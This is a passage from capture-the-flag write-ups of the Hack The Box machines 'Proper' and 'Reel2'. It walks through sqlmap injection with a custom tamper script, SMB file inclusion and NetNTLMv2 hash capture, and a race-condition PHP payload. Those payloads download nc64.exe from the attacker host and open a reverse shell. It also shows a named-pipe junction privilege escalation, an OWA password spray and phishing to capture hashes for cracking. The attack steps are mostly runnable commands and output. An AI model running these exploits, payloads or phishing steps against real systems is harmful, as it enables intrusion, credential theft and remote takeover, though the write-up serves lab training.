UserFormat = dynamic_1001  type = dynamic_1001: md5(md5(md5(md5($p))))
UserFormat = dynamic_1002  type = dynamic_1002: md5(md5(md5(md5(md5($p)))))
UserFormat = dynamic_1003  type = dynamic_1003: md5(md5($p).md5($p))
UserFormat = dynamic_1004  type = dynamic_1004: md5(md5(md5(md5(md5(md5($p))))))
UserFormat = dynamic_1005  type = dynamic_1005: md5(md5(md5(md5(md5(md5(md5($p)))))))
UserFormat = dynamic_1006  type = dynamic_1006: md5(md5(md5(md5(md5(md5(md5(md5($p))))))))
UserFormat = dynamic_1007  type = dynamic_1007: md5(md5($p).$s) (vBulletin)
UserFormat = dynamic_1008  type = dynamic_1008: md5($p.$s) (RADIUS User-Password)
UserFormat = dynamic_1009  type = dynamic_1009: md5($s.$p) (RADIUS Responses)
UserFormat = dynamic_1010  type = dynamic_1010: md5($p null_padded_to_len_100) RAdmin v2.x MD5
UserFormat = dynamic_1011  type = dynamic_1011: md5($p.md5($s)) (webEdition CMS)
UserFormat = dynamic_1012  type = dynamic_1012: md5($p.md5($s)) (webEdition CMS)
UserFormat = dynamic_1013  type = dynamic_1013: md5($p.PMD5(username)) (webEdition CMS)
UserFormat = dynamic_1014  type = dynamic_1014: md5($p.$s) (long salt)
UserFormat = dynamic_1015  type = dynamic_1015: md5(md5($p.$u).$s) (PostgreSQL 'pass the hash')
UserFormat = dynamic_1016  type = dynamic_1016: md5($p.$s) (long salt)
UserFormat = dynamic_1017  type = dynamic_1017: md5($s.$p) (long salt)
UserFormat = dynamic_1018  type = dynamic_1018: md5(sha1(sha1($p)))
UserFormat = dynamic_1019  type = dynamic_1019: md5(sha1(sha1(md5($p))))
UserFormat = dynamic_1020  type = dynamic_1020: md5(sha1(md5($p)))
UserFormat = dynamic_1021  type = dynamic_1021: md5(sha1(md5(sha1($p))))
UserFormat = dynamic_1022  type = dynamic_1022: md5(sha1(md5(sha1(md5($p)))))
UserFormat = dynamic_1024  type = dynamic_1024: sha1(md5($p)) (hash truncated to length 32)
UserFormat = dynamic_1025  type = dynamic_1025: sha1(md5(md5($p))) (hash truncated to length 32)
UserFormat = dynamic_1034  type = dynamic_1034: md5($p.$u) (PostgreSQL MD5)
UserFormat = dynamic_1300  type = dynamic_1300: md5(md5_raw($p))
UserFormat = dynamic_1350  type = dynamic_1350: md5(md5($s.$p):$s)
UserFormat = dynamic_1401  type = dynamic_1401: md5($u.\nskyper\n.$p) (Skype MD5)
UserFormat = dynamic_1505  type = dynamic_1505: md5($p.$s.md5($p.$s))
UserFormat = dynamic_1506  type = dynamic_1506: md5($u.:XDB:.$p) (Oracle 12c "H" hash)
UserFormat = dynamic_1518  type = dynamic_1518: md5(sha1($p).md5($p).sha1($p))
UserFormat = dynamic_1550  type = dynamic_1550: md5($u.:mongo:.$p) (MONGODB-CR system hash)
UserFormat = dynamic_1551  type = dynamic_1551: md5($s.$u.(md5($u.:mongo:.$p)) (MONGODB-CR network hash)
UserFormat = dynamic_1552  type = dynamic_1552: md5($s.$u.(md5($u.:mongo:.$p)) (MONGODB-CR network hash)
UserFormat = dynamic_1560  type = dynamic_1560: md5($s.$p.$s2) (SocialEngine)
UserFormat = dynamic_2000  type = dynamic_2000: md5($p) (PW > 55 bytes)
UserFormat = dynamic_2001  type = dynamic_2001: md5($p.$s) (joomla) (PW > 23 bytes)
UserFormat = dynamic_2002  type = dynamic_2002: md5(md5($p)) (e107) (PW > 55 bytes)
UserFormat = dynamic_2003  type = dynamic_2003: md5(md5(md5($p))) (PW > 55 bytes)
UserFormat = dynamic_2004  type = dynamic_2004: md5($s.$p) (OSC) (PW > 31 bytes)
UserFormat = dynamic_2005  type = dynamic_2005: md5($s.$p.$s) (PW > 31 bytes)
UserFormat = dynamic_2006  type = dynamic_2006: md5(md5($p).$s) (PW > 55 bytes)
UserFormat = dynamic_2008  type = dynamic_2008: md5(md5($s).$p) (PW > 23 bytes)
UserFormat = dynamic_2009  type = dynamic_2009: md5($s.md5($p)) (salt > 23 bytes)
UserFormat = dynamic_2010  type = dynamic_2010: md5($s.md5($s.$p)) (PW > 32 or salt > 23 bytes)
UserFormat = dynamic_2011  type = dynamic_2011: md5($s.md5($p.$s)) (PW > 32 or salt > 23 bytes)
UserFormat = dynamic_2014  type = dynamic_2014: md5($s.md5($p).$s) (PW > 55 or salt > 11 bytes)
```

For a start, I’m going with the dynamic format dynamic_1 (md5($p.$s)) and
dynamic_4 (md5($s.$p)). The only difference is that the salt $s is
appended for one, and prepended for the other.

The hash must be made available to JtR in the following format:
<hash>$<salt>

hash

``` bash
a1b30d31d344a5a4e41e8496ccbdd26b$hie0shah6ooNoim
```

``` bash
┌──(root💀kali)-[~/hackthebox/machine/proper]
└─# john -w:subformats --format=dynamic_4 hash
Using default input encoding: UTF-8
Loaded 1 password hash (dynamic_4 [md5($s.$p) (OSC) 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 3 candidates left, minimum 48 needed for performance.
id desc          (?)
1g 0:00:00:00 DONE (2021-05-08 05:27) 100.0g/s 300.0p/s 300.0c/s 300.0C/s id+desc..id desc
Use the "--show --format=dynamic_4" options to display all of the cracked passwords reliably
Session completed
```

So, the salt is prepended to the value in the order parameter. I see now…

#### Database Enumeration with sqlmap

To that end, I wrote the following sqlmap tamper script to enumerate the
database.

 - proper.py

``` bash
#!/usr/bin/env python
import os
import string
from hashlib import md5
from urllib.parse import quote_plus
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def tamper(payload, **kwargs):
    '''
    Custom tamper script for Proper
    '''

    salt = b"hie0shah6ooNoim"
    h = md5(salt + payload.encode()).hexdigest()
    retVal = "%s&h=%s" % (quote_plus(payload), h)

    return retVal
```

Because I’m tampering the payload and injecting it onto another parameter,
I need to use --skip-urlencode switch when detecting the injection
technique like so.

``` bash
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" --batch --tamper=proper --skip-urlencode --threads=10 --flush-session
```

but here i am gona to use another sqlmap command

``` bash
sqlmap -u "http://10.10.10.231/products-ajax.php?order=id+desc&h=a1b30d31d344a5a4e41e8496ccbdd26b" --eval="import hashlib ; h=hashlib.md5(('hie0shah6ooNoim'+order).encode('utf-8')).hexdigest()"  --batch --threads=10 -D cleaner -T customers --dump
```

results:

``` bash
Database: cleaner                                                                                                                      
Table: customers
[29 entries]
+----+------------------------------+----------------------------------------------+----------------------+
| id | login                        | password                                     | customer_name        |
+----+------------------------------+----------------------------------------------+----------------------+
| 1  | vikki.solomon@throwaway.mail | 7c6a180b36896a0a8c02787eeafb0e4c (password1) | Vikki Solomon        |
| 2  | nstone@trashbin.mail         | 6cb75f652a9b52798eb6cf2201057c73 (password2) | Neave Stone          |
| 3  | bmceachern7@discovery.moc    | e10adc3949ba59abbe56e057f20f883e (123456)    | Bertie McEachern     |
| 4  | jkleiser8@google.com.xy      | 827ccb0eea8a706c4c34a16891f84e7b (12345)     | Jordana Kleiser      |
| 5  | mchasemore9@sitemeter.moc    | 25f9e794323b453885f5181f1b624d0b (123456789) | Mariellen Chasemore  |
| 6  | gdornina@marriott.moc        | 5f4dcc3b5aa765d61d8327deb882cf99 (password)  | Gwyneth Dornin       |
| 7  | itootellb@forbes.moc         | f25a2fc72690b780b2a14e140ef6a9e0 (iloveyou)  | Israel Tootell       |
| 8  | kmanghamc@state.tx.su        | 8afa847f50a716e64932d995c8e7435a (princess)  | Karon Mangham        |
| 9  | jblinded@bing.moc            | fcea920f7412b5da7be0cf42b8c93759 (1234567)   | Janifer Blinde       |
| 10 | llenchenkoe@macromedia.moc   | f806fc5a2a0d5ba2471600758452799c (rockyou)   | Laurens Lenchenko    |
| 11 | aaustinf@booking.moc         | 25d55ad283aa400af464c76d713c07ad (12345678)  | Andreana Austin      |
| 12 | afeldmesserg@ameblo.pj       | e99a18c428cb38d5f260853678922e03 (abc123)    | Arnold Feldmesser    |
| 13 | ahuntarh@seattletimes.moc    | fc63f87c08d505264caba37514cd0cfd (nicole)    | Adella Huntar        |
| 14 | talelsandrovichi@tamu.ude    | aa47f8215c6f30a0dcdb2a36a9f4168e (daniel)    | Trudi Alelsandrovich |
| 15 | ishayj@dmoz.gro              | 67881381dbc68d4761230131ae0008f7 (babygirl)  | Ivy Shay             |
| 16 | acallabyk@un.gro             | d0763edaa9d9bd2a9516280e9044d885 (monkey)    | Alys Callaby         |
| 17 | daeryl@about.you             | 061fba5bdfc076bb7362616668de87c8 (lovely)    | Dorena Aery          |
| 18 | aalekseicikm@skyrock.moc     | aae039d6aa239cfc121357a825210fa3 (jessica)   | Amble Alekseicik     |
| 19 | lginmann@lycos.moc           | c33367701511b4f6020ec61ded352059 (654321)    | Lin Ginman           |
| 20 | lgiorioo@ow.lic              | 0acf4539a14b3aa27deeb4cbdf6e989f (michael)   | Letty Giorio         |
| 21 | lbyshp@wired.moc             | adff44c5102fca279fce7559abf66fee (ashley)    | Lazarus Bysh         |
| 22 | bklewerq@yelp.moc            | d8578edf8458ce06fbc5bb76a58c5ca4 (qwerty)    | Bud Klewer           |
| 23 | wstrettellr@senate.gov       | 96e79218965eb72c92a549dd5a330112 (111111)    | Woodrow Strettell    |
| 24 | lodorans@kickstarter.moc     | edbd0effac3fcc98e725920a512881e0 (iloveu)    | Lila O Doran         |
| 25 | bpfeffelt@artisteer.moc      | 670b14728ad9902aecba32e22fa4f6bd (000000)    | Bibbie Pfeffel       |
| 26 | lgrimsdellu@abc.net.uvw      | 2345f10bb948c5665ef91f6773b3e455 (michelle)  | Luce Grimsdell       |
| 27 | lpealingv@goo.goo            | f78f2477e949bee2d12a2c540fb6084f (tigger)    | Lyle Pealing         |
| 28 | krussenw@mit.ude             | 0571749e2ac330a7455809c6b0e7af90 (sunshine)  | Kimmy Russen         |
| 29 | meastmondx@businessweek.moc  | c378985d629e99a4e86213db0cd5e70d (chocolate) | Meg Eastmond         |
+----+------------------------------+----------------------------------------------+----------------------+
```

#### Licensing Portal

Using any of the credentials above should log you in the Licensing Portal.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1951.jpg)

I’m seeing something familiar in the HTML source code.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1952.jpg)

Suppose I put .. as the theme and generate the corresponding hash, this is what I get.

``` bash
view-source:http://10.10.10.231/licenses/licenses.php?theme=..&h=a48e169864f4b46a09d36664ec645f75
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1953.jpg)

#### Remote File Inclusion

It appears that the theme parameter is trying to read header.inc.
I wrote the following shell script to facilitate testing of the theme parameter
and the generation of the hash value in h, driven solely by curl.

 - read.sh

``` bash
#!/bin/bash

HOST=10.10.10.231
SALT=hie0shah6ooNoim
TRAV=$1
USER=vikki.solomon@throwaway.mail
PASS=password1
COOKIE=$(mktemp -u)
PROXY=127.0.0.1:8080

# login
curl -c $COOKIE -s -o /dev/null http://$HOST/licenses/index.php
curl -s \
     -b $COOKIE \
     -o /dev/null \
     -d "username=${USER}&password=${PASS}" \
     http://$HOST/licenses/index.php

# SMB RFI
curl -s \
     -b $COOKIE \
     -G \
     -d "theme=${TRAV}" \
     -d "h=$(echo -n ${SALT}${TRAV} | md5sum | cut -d' ' -f1)" \
     -o /dev/null \
     -x $PROXY \
     http://$HOST/licenses/licenses.php

# clean up
rm -rf $COOKIE
```

Looks like the theme parameter may be susceptible to remote file inclusion
(RFI) vulnerability. Suppose we set up a Python http.server. Let’s see
what gives.

Ah, the http:// wrapper is disabled! Let’s try SMB, shall we?

``` bash
┌──(root💀kali)-[~/hackthebox/machine/proper]
└─# ./read.sh '//10.10.14.2'
```

Let’s set up a fake SMB server with Impacket’s smbserver.py without any
credentials, and then request again to see what happens.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/proper]
└─# python3 smbserver.py -ip 10.10.14.2 -smb2support evil .
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.231,49689)
[*] AUTHENTICATE_MESSAGE (PROPER\web,PROPER)
[*] User PROPER\web authenticated successfully
[*] web::PROPER:aaaaaaaaaaaaaaaa:5ae080590082c04362bf224caec4846f:0101000000000000004bce0bf043d70166cff0cb19f10b00000000000100100041006a005500460050007400450075000300100041006a00550046005000740045007500020010006b007a00650061004e006d004f007300040010006b007a00650061004e006d004f00730007000800004bce0bf043d70106000400020000000800300030000000000000000000000000200000fc57632431f7c4e4274794844a744c0e6d27514eb5ddfad885de1bc2cb9a82d40a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0032000000000000000000
[*] Closing down connection (10.10.10.231,49689)
[*] Remaining connections []
[*] Incoming connection (10.10.10.231,49690)
[*] AUTHENTICATE_MESSAGE (PROPER\web,PROPER)
[*] User PROPER\web authenticated successfully
[*] web::PROPER:aaaaaaaaaaaaaaaa:8a34397b657ec844eaf1090b53c3175e:010100000000000080e1660cf043d701bf19a63e3a35f7f6000000000100100041006a005500460050007400450075000300100041006a00550046005000740045007500020010006b007a00650061004e006d004f007300040010006b007a00650061004e006d004f0073000700080080e1660cf043d70106000400020000000800300030000000000000000000000000200000fc57632431f7c4e4274794844a744c0e6d27514eb5ddfad885de1bc2cb9a82d40a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0032000000000000000000
[*] Closing down connection (10.10.10.231,49690)
[*] Remaining connections []
[*] Incoming connection (10.10.10.231,49691)
[*] AUTHENTICATE_MESSAGE (PROPER\web,PROPER)
[*] User PROPER\web authenticated successfully
[*] web::PROPER:aaaaaaaaaaaaaaaa:52a7d22c0c8c57c70a5c009f030d8c67:01010000000000000078ff0cf043d70196d5908af6592cf2000000000100100041006a005500460050007400450075000300100041006a00550046005000740045007500020010006b007a00650061004e006d004f007300040010006b007a00650061004e006d004f007300070008000078ff0cf043d70106000400020000000800300030000000000000000000000000200000fc57632431f7c4e4274794844a744c0e6d27514eb5ddfad885de1bc2cb9a82d40a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0032000000000000000000
[*] Closing down connection (10.10.10.231,49691)
[*] Remaining connections []
```

Heck, we have PROPER\web authenticating to us with a NetNTLMv2 hash,
which can be easily cracked with JtR shown below.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/proper]
└─# john -w:/usr/share/wordlists/rockyou.txt ntlmv2
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
charlotte123!    (web)
1g 0:00:00:00 DONE (2021-05-08 02:51) 1.470g/s 1457Kp/s 1457Kc/s 1457KC/s chibii..chaqueto
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed
```

Now, we can set up smbserver.py with credentials and an empty
header.inc to simulate an actual SMB share.

``` bash
python3 smbserver.py -username web -password 'charlotte123!' -ip 10.10.14.2 -smb2support evil .
```

#### Race Condition

If you look at the debug messages in green above, you’ll notice the race
condition vulnerability between strpos and include. Suppose we can
modify header.inc in real time, we may be able to get include to execute
our PHP code.

To that end, I wrote the following shell script to modify header.inc in real
time.

 - race.sh

``` bash
#!/bin/bash
PAYLOAD=$1

while :; do
    echo hello world > header.inc
    echo "$PAYLOAD" > header.inc
done
```

#### Foothold

Once we have the ability to execute PHP code remotely, we can devise a
way to get a reverse shell. I’m going with transfering nc64.exe over to one
of the world-writable folders in Windows and run a reverse shell back to
me like so.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/proper]
└─# ./race.sh '<?php system("cmd /c powershell iwr http://10.10.14.2/nc64.exe -outf \windows\system32\spool\drivers\color\luci.exe"); ?>'
```

``` bash
┌──(root💀kali)-[~/hackthebox/machine/proper]
└─# ./read.sh '//10.10.14.2/evil'
```

``` bash
┌──(root💀kali)-[~/hackthebox/machine/proper]
└─# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.231 - - [08/May/2021 06:04:12] "GET /nc64.exe HTTP/1.1" 200 -
```

``` bash
┌──(root💀kali)-[~/hackthebox/machine/proper]
└─# python3 smbserver.py -username web -password 'charlotte123!' -ip 10.10.14.2 -smb2support evil .
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.231,49695)
[*] AUTHENTICATE_MESSAGE (PROPER\web,PROPER)
[*] User PROPER\web authenticated successfully
[*] web::PROPER:aaaaaaaaaaaaaaaa:9c5bcc7592dad9a6dba774008c3fbee4:010100000000000080f76974f143d701e6d79d4441e58a220000000001001000470055007500720077004100560056000300100047005500750072007700410056005600020010006e00530065004700490050004c007000040010006e00530065004700490050004c0070000700080080f76974f143d70106000400020000000800300030000000000000000000000000200000fc57632431f7c4e4274794844a744c0e6d27514eb5ddfad885de1bc2cb9a82d40a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0032000000000000000000
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:EVIL)
[*] Disconnecting Share(1:IPC$)
[*] Disconnecting Share(2:EVIL)
[*] Closing down connection (10.10.10.231,49695)
[*] Remaining connections []
```

And then run the reverse shell with nc64.exe.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/proper]
└─# ./race.sh '<?php system("cmd /c start \windows\system32\spool\drivers\color\luci.exe 10.10.14.2 1234 -e cmd.exe"); ?>'
```

``` bash
┌──(root💀kali)-[~/hackthebox/machine/proper]
└─# ./read.sh '//10.10.14.2/evil'
```

Voila!

``` bash
┌──(root💀kali)-[~]
└─# nc -lvp 1234                                                                                                                                  
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.10.231.
Ncat: Connection from 10.10.10.231:49751.
Microsoft Windows [Version 10.0.17763.1728]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\inetpub\wwwroot\licenses>whoami
whoami
proper\web

C:\inetpub\wwwroot\licenses>cd \users\web\desktop
cd \users\web\desktop

C:\Users\web\Desktop>type user.txt
type user.txt
3344dc2e5316dd94b0547eb967a1a1ea
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1954.jpg)

#### Privilege Escalation

During enumeration of web’s account, I notice the presence of Cleanup
folder in C:\Program Files and in it, three files.

``` bash
C:\Program Files\Cleanup>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is FE0C-A36B

 Directory of C:\Program Files\Cleanup

11/15/2020  05:05 AM    <DIR>          .
11/15/2020  05:05 AM    <DIR>          ..
11/15/2020  05:03 AM         2,999,808 client.exe
11/15/2020  10:22 AM               174 README.md
11/15/2020  06:20 AM         3,041,792 server.exe
               3 File(s)      6,041,774 bytes
               2 Dir(s)   7,343,374,336 bytes free
```

There’s also a Cleanup folder in C:\ProgramData with no files in it.

#### Reversing client.exe and server.exe

Turns out both binaries are PE executables built with Golang, with the tell-
tale sign of an unusually large size for a PE executable and this.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1955.jpg)

#### Analysis of client.exe

Reverse engineering of client.exe shows the need to supply an argument
in order to “make it do something”.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1956.jpg)

You can see from above that by supplying a -R and a file path triggers the
main_serviceRestore function which in turn calls upon a named pipe
client to connect to a named pipe, cleanupPipe.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1957.jpg)

Further down the control flow graph, this is what’s actually sent across the
named pipe.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1958.jpg)

#### Analysis of server.exe

Suppose we replicate the behaviors of client.exe and server.exe in a
Windows 10 installation. This is what we have determined above.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1959.jpg)

This is what’s displayed in server.exe.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1960.jpg)

Hmm, where have I seen C:\ProgramData\Cleanup before? By the way,
dGVzdA== is the base64-encoded string of test. On top of that, this is
evidence that a named pipe, cleanupPipe is listening for data.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1961.jpg)

We can send our own data to server.exe with good ol' command prompt
using the echo command like so.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1962.jpg)

Meanwhile in server.exe, I see this…

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1963.jpg)

Something’s not right. One character is truncated. In any case, all I have to
do is to add one more character behind the path. Well, this is what
happened. CLEAN removes the file specified in the file path and move it to
C:\ProgramData\Cleanup\<base64-encoded file path> and its content
encrypted with AES-GCM.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1964.jpg)

Conversely, RESTORE restores the file back to the original file path by
decrypting the file contents and decoding the file path.

#### Getting root.txt

This gives me an idea. What if we create a symbolic link to C:\Users
\Administrator\Desktop, do a CLEAN on that symbolic link + root.txt.
This will back up the file at C:\ProgramData\Cleanup. Remove the link and
create a real folder and then do a RESTORE. Maybe RESTORE will do us a
favor and write the contents of root.txt to that folder and we can simply
read the file?

#### Create directory junction

``` bash
C:\Users\web\Downloads>mklink /j dipshit \users\administrator\desktop
mklink /j dipshit \users\administrator\desktop
Junction created for dipshit <<===>> \users\administrator\desktop

C:\Users\web\Downloads>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is FE0C-A36B

 Directory of C:\Users\web\Downloads

05/08/2021  02:52 AM    <DIR>          .
05/08/2021  02:52 AM    <DIR>          ..
05/08/2021  02:52 AM    <JUNCTION>     dipshit [C:\users\administrator\desktop]
               0 File(s)              0 bytes
               3 Dir(s)   7,342,006,272 bytes free
```

#### CLEAN

``` bash
C:\Users\web\Downloads>echo CLEAN \users\web\Downloads\dipshit\root.txtx > \\.\pipe\cleanupPipe
echo CLEAN \users\web\Downloads\dipshit\root.txtx > \\.\pipe\cleanupPipe

C:\Users\web\Downloads>dir \programdata\cleanup
dir \programdata\cleanup
 Volume in drive C has no label.
 Volume Serial Number is FE0C-A36B

 Directory of C:\programdata\cleanup

05/08/2021  02:53 AM    <DIR>          .
05/08/2021  02:53 AM    <DIR>          ..
05/08/2021  02:53 AM               192 XHVzZXJzXHdlYlxEb3dubG9hZHNcZGlwc2hpdFxyb290LnR4dA==
               1 File(s)            192 bytes
               2 Dir(s)   7,342,006,272 bytes free
```

#### Remove directory junction and create a real folder

``` bash
C:\Users\web\Downloads>rmdir dipshit
rmdir dipshit

C:\Users\web\Downloads>mkdir dipshit
mkdir dipshit
```

#### RESTORE

``` bash
C:\Users\web\Downloads>echo RESTORE \users\web\Downloads\dipshit\root.txtx > \\.\pipe\cleanupPipe
echo RESTORE \users\web\Downloads\dipshit\root.txtx > \\.\pipe\cleanupPipe

C:\Users\web\Downloads>type dipshit\root.txt
type dipshit\root.txt
a8393e214a40d2e28d5eff5504022ca1
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1965.jpg)


#### Afterthought

One of the creators of Proper told me that privilege escalation is possible
from an arbitrary file write. Indeed, [WerTrigger](https://github.com/sailay1996/WerTrigger) is one such local privilege
escalation exploit weaponizing arbitrary file writes using Windows problem
reporting framework among others such as UsoDLLLoader and DiagHub.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1966.jpg)

And there you have it.

#### Summary of knowledge

 - John crack with salt
 - self write sqlmap tamper script to get data
 - Remote File Inclusion via SMB share
 - Race Condition to get code excecution
 - john crack netntlmv2 hash
 - Privilege Escalation via reversing .exe file
 - use WerTrigger for arbitrary file write using Windows problem reporting framework among others such as UsoDLLLoader and DiagHub.

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end proper -->

</details>

<a id="case-reel2"></a>

## 邮件认证、受限会话与符号链接

原记录从 OWA 账户与邮件认证请求进入 PowerShell，再分析受限命令及 Check-File 的文件读取边界。ProgramData 符号链接分支完整保留。

<p class="kb-provenance">来源 reel2 · 原记录 2020-10-13 · 24 个代码块 · 8 处图片引用</p>

<details class="kb-evidence" id="record-reel2">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start reel2 -->

#### introduce

OS: Windows
Difficulty: Hard
Points:	40
Release:	03 Oct 2020
IP:	10.10.10.210

User Blood	xct 00 days, 03 hours, 08 mins, 20 seconds.
Root Blood	xct 00 days, 07 hours, 06 mins, 12 seconds.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb103.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
root@kali:~/hackthebox/machine/reel2# nmap -sV -v -p- --min-rate=10000 10.10.10.210
PORT     STATE SERVICE    VERSION
80/tcp   open  http       Microsoft IIS httpd 8.5
443/tcp  open  ssl/https?
5985/tcp open  http       Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
6001/tcp open  ncacn_http Microsoft Windows RPC over HTTP 1.0
6002/tcp open  ncacn_http Microsoft Windows RPC over HTTP 1.0
6004/tcp open  ncacn_http Microsoft Windows RPC over HTTP 1.0
6005/tcp open  msrpc      Microsoft Windows RPC
6006/tcp open  msrpc      Microsoft Windows RPC
6007/tcp open  msrpc      Microsoft Windows RPC
6008/tcp open  msrpc      Microsoft Windows RPC
6010/tcp open  ncacn_http Microsoft Windows RPC over HTTP 1.0
6011/tcp open  msrpc      Microsoft Windows RPC
6012/tcp open  msrpc      Microsoft Windows RPC
6027/tcp open  msrpc      Microsoft Windows RPC
8080/tcp open  http       Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.2.32)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

 - Port-80

Enumerating http But He Said 403-Forbidden

Enumerating HTTPS .

use gobuster to find Directories

``` bash
root@kali:~/hackthebox/machine/reel2# gobuster dir -u https://10.10.10.210 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -k -t 50
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            https://10.10.10.210
[+] Threads:        50
[+] Wordlist:       /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/10/12 22:34:11 Starting gobuster
===============================================================
/public (Status: 302)
/exchange (Status: 302)
/Public (Status: 302)
/rpc (Status: 401)
/owa (Status: 301)
```

Go to /owa First

a login page. Try some sql injection

But nothing is work.

 - Port-8080

Create A Account On SignUp Page.

``` bash
lucifer11/123456Wx
```

In Home Page There Are So Many Users

Gather All Users and Create A user.txt

``` bash
sven
svensson
s.svensson
```

See All Posts In The Posts Tab, The svensson user post gave us a hint: This summer is so hot!

Create A pass.txt with this hint.

``` bash
root@kali:~/hackthebox/machine/reel2# cat /usr/share/wordlists/rockyou.txt | grep Summer > pass.txt
root@kali:~/hackthebox/machine/reel2# cat pass.txt 
Summer
Summer1
Summer07
Summer08
...
```

With the user.txt and pass.txt, lets bruteforce the OWA login

But We Don't bruteforce OWA login with wfuzz and hydra. we need to install a tool called SprayingToolkit.

 - [SprayingToolkit](https://github.com/byt3bl33d3r/SprayingToolkit)

Before Running this tool install the requirements of this tool.

Let's run the tool

``` bash
root@kali:~/SprayingToolkit# python3 atomizer.py owa 10.10.10.210 pass.txt user.txt -i 0:0:01
[*] Starting spray at 2020-10-13 03:40:56 UTC
[-] Authentication failed: svensson:Summer2020 (Invalid credentials)
[-] Authentication failed: sven:Summer2020 (Invalid credentials)
[+] Found credentials: s.svensson:Summer2020 (Invalid credentials)
```

 - Username = s.svensson
 - Password = Summer2020

#### get shell

site is on another language. Let's open it in chromium so we will understand what's going on.

Now I understand what's going on here it's a mail server i think we need to do some Phising stuff.

If you don't known about that here is an interesting article.

 - [NetNTLMv2 hash stealing using Outlook](https://www.ired.team/offensive-security/initial-access/netntlmv2-hash-stealing-using-outlook)

So what we can do now compiling a new message

1.click on New message.

2.Select all user with Control+A then click on To button on bottom. So this will send our email to each and every user .

3.Give the subject as you wish and in the body enter your htb ip like http://10.10.14.3

 - Important : 

Before Sending this email start the responder.

``` bash
responder -I tun0
```

Boom, After couple of minutes we get the response back.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb104.jpg)

But first we need to crack this hash using hashcat. we known this is NTLMv2 Hash

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb105.jpg)

``` bash
hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt --force
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb106.jpg)

 - username = k.svensson
 - password = kittycat1

